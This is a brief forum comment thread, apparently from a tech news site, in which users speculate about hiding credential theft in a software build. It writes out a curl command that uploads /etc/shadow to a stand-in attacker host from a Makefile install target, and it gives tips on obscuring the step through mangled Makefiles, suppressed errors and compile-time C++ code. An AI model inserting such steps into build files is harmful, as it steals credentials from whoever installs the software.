4 ms·
Or you could include curl -F shadow=@/etc/shadow https://evil.site/upload.cgi as one of the commands under the "install" target in the Makefile. That way
by jandrese 7y ago
Or you could include
curl -F shadow=@/etc/shadow https://evil.site/upload.cgi
as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.
- jdsully 7y agoCurl is suspicious, people might wonder what exactly its doing. Whereas nobody has the time to read and understand C/C++ code.
- jandrese 7y agoIt will almost certainly take longer for someone to read your Makefile to notice that weird curl line than it would be for someone to try to compile your code as a regular user and have the compiler spit out an error because it can't read the include file "/etc/shadow".
- jdsully 7y agoHave make suppress error messages for the .o including it. You can have another file implement any missing symbols with a weak attribute so the linker will not complain if your evil object file fails to be built. If you go with C++ then you have an entire Turing complete language executed at compile time to do whatever nasty thing your heart desires. I agree there are much easier alternatives... but it's an intellectually interesting attack vector.